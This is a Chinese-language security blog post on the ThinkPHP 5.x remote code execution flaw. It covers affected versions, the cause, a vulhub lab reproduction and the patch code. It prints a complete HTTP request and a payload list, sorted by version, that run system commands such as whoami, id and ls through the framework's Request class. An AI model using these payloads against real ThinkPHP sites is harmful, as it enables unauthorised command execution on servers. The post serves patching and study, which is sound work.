ThinkPHP 5.x RCE 漏洞分析與利用總結
- 一、ThinkPHP 5.0.23 rce漏洞復現與總結
- 漏洞復現
- 影響版本
- 安全版本
- 漏洞原理
- 漏洞利用
- 手動修正
- 框架升級
- 二、ThinkPHP 5.x RCE 漏洞分析與利用總結
一、ThinkPHP 5.0.23 rce漏洞復現與總結
漏洞復現
thinkphp 5.0.23 rce
thinkphp 5.0.23 rce原始碼下載:
github:https://github.com/top-think/framework/tree/v5.0.23
影響版本
ThinkPHP 5.0系列 < 5.0.23
ThinkPHP 5.1系列 < 5.1.31
安全版本
ThinkPHP 5.0系列 5.0.23
ThinkPHP 5.1系列 5.1.31
漏洞原理
ThinkPHP是一款運用極廣的PHP開發框架,其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以呼叫Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞,
漏洞利用
1.啟動vulhub靶場,訪問

2.抓包復現,完整的資料是:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

3.完整資料包:
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
手動修正
5.1版本
thinkphp/library/think/route/dispatch/Url.php 類的parseUrl方法,決議控制器后加上 添加
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
5.0版本
thinkphp/library/think/App.php 類的module方法的獲取控制器的代碼后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
框架升級
進入到代碼根目錄 執行 composer update
目前thinkphp的 5.0(5.0.23) 以及 5.1(5.1.31) 的最新版本,已經修復此漏洞,建議大家專案都用目前最新版本,
二、ThinkPHP 5.x RCE 漏洞分析與利用總結
接下來將為大家進行漏洞分析以及對各個版本、場景下的利用進行詳細的總結,
漏洞范圍: <= 5.0.23、<= 5.1.32
5.0.x補丁:
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
5.1.x補丁:
https://github.com/top-think/framework/commit/2454cebcdb6c12b352ac0acd4a4e6b25b31982e6
Payload總結
1、<= 5.0.13
1. POST /?s=index/index
2. s=whoami&_method=__construct&method=&filter[]=system
2、<= 5.0.23、5.1.0 <= 5.1.16
開啟debug()
1. POST /
2. _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
3、<= 5.0.23
需要captcha的method路由,如果存在其他method路由,也是可以將captcha換為其他,
1. POST /?s=captcha HTTP/1.1
2. _method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get
4、5.0.0 <= version <= 5.1.32
error_reporting(0)關閉報錯
1. POST /
2. c=exec&f=calc.exe&_method=filter
學習參考鏈接:
1、https://blog.csdn.net/wuxianbing2012/article/details/104897634?utm_medium=distribute.pc_relevant.none-task-blog-searchFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-searchFromBaidu-1.control
2、https://blog.csdn.net/dengzhasong7076/article/details/102139816?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.control
????ERRORS團隊源于網路空間安全的興趣愛好者共同組建,致力于從網路安全的各個層面維護國家網路空間安全,團隊成員擁有專業的滲透測驗技術、安全評估能力、逆向分析技巧以及豐富的專案經驗和實戰經驗,該團隊是一支年輕的有生命力的團隊,旨在通過知識分享、技術探討提升網路安全意識和專業技能,
加入我們:
ERRORS團隊主頁: ?https://www.chihou.pro/
盒子團隊申請:??????https://www.vulbox.com/team/ERRORS
或者郵件聯系:??????chihou.pro@gmail.com
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/225801.html
標籤:其他
